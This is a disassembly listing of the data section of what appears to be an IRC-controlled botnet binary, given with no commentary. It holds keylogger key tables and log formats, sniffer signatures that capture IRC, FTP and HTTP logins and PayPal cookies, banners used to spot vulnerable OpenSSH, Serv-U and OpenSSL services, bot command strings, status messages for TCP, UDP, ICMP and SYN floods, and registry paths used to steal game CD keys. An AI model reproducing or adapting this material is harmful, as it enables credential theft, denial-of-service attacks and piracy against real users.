		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
